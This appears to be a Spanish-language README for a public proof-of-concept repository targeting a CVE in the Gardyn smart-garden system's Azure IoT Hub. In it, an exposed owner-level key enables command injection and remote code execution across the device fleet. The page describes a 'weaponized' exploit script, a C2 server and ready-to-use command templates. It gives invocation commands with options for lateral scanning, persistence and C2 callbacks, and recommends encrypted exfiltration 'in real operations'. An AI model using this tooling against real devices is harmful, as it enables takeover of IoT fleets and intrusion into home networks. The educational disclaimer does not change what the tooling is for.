
Azure IoT Hub donde la exposición de una Shared Access Key a nivel de propietario permite la ejecución remota de código (RCE) no autenticada contra dispositivos IoT conectados. Prueba de concepto.
[!WARNING] Este repositorio contiene una prueba de concepto totalmente funcional para una vulnerabilidad de IoT de alta severidad.
Este código se proporciona estrictamente con fines educativos, investigación de seguridad autorizada y pruebas defensivas.El uso no autorizado es ilegal. Probar o explotar sistemas sin permiso explícito por escrito del propietario viola la Computer Fraud and Abuse Act (CFAA), la Ley de Resiliencia Cibernética de la UE y otras leyes aplicables en su jurisdicción.
Los autores no asumen ninguna responsabilidad por el mal uso, daños o consecuencias legales derivados de este código.
Opere siempre dentro de los límites legales y éticos.
CVE-2026-13768 expone la cadena de conexión a nivel de propietario del IoT Hub en el sistema de jardín inteligente Gardyn, lo que permite un control administrativo total sobre Azure IoT Hub. Este PoC demuestra cómo un atacante con la clave de propietario puede lograr ejecución remota de código (RCE) en dispositivos conectados mediante inyección de comandos en el método de nube a dispositivo upgrade(), lo que permite comprometer toda la flota.
La suite incluye:
Este es un proyecto de investigación vivo: úselo de forma responsable para comprender y defenderse contra las malas configuraciones en la cadena de suministro y la nube de IoT.
upgrade() (aprovechando la inyección de comandos de CVE-2025-29631).
├── poc.py # Main weaponized exploitation script
├── validate.py # Safe, read-only validation tool
├── c2s.py # Lightweight C2 server for demos
├── TEMPLATES.md # Ready-to-Use Command Templates.
├── README.md
Clona el repositorio:
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2026-13768.git
cd CVE-2026-13768
python3 -m venv venv
Activa el entorno virtual (o crea uno):
source venv/bin/activate
python3 -m pip install --upgrade pip
Instala las dependencias.
python3 -m pip install azure-iot-hub
python validate.py --conn-str "HostName=yourhub.azure-devices.net;SharedAccessKeyName=iothubowner;SharedAccessKey=..."
Código de salida 0 = Clave de propietario válida con dispositivos accesibles. No se realizan modificaciones.
python poc.py \
--mode exploit \
--conn-str "HostName=..." \
--device-id "target-device-123" \
--command "whoami" \
--lateral-scan \
--persist
Ejecuta python poc.py --help para ver todas las opciones.
python c2s.py --port 4444
iothubownerupgrade()Nota: El código de movimiento lateral y persistencia son marcadores de posición ilustrativos. Adáptalos al sistema operativo y las limitaciones del dispositivo objetivo (p. ej., entornos limitados por BusyBox).
/tmp/cve_2026_13768.log por defecto. Sustitúyelo por exfiltración cifrada en operaciones reales.obfuscate_cmd() / deobfuscate_cmd().Se aceptan contribuciones para:
Abre issues o PRs.
Un gran poder conlleva una gran responsabilidad.
| Argument | Description | Required |
|---|
--mode | validate o exploit | No (por defecto: validate) |
--conn-str | Cadena de conexión del propietario del IoT Hub | Sí |
--device-id | ID del dispositivo objetivo | Sí (modo exploit) |
--command | Comando a ejecutar mediante la inyección en upgrade() | No (por defecto: id) |
--lateral-scan | Habilita el reconocimiento de LAN desde el dispositivo | No |
--persist | Intenta la persistencia (p. ej., cron, systemd) | No |
--c2 | Conexión de retorno al servidor C2 | No |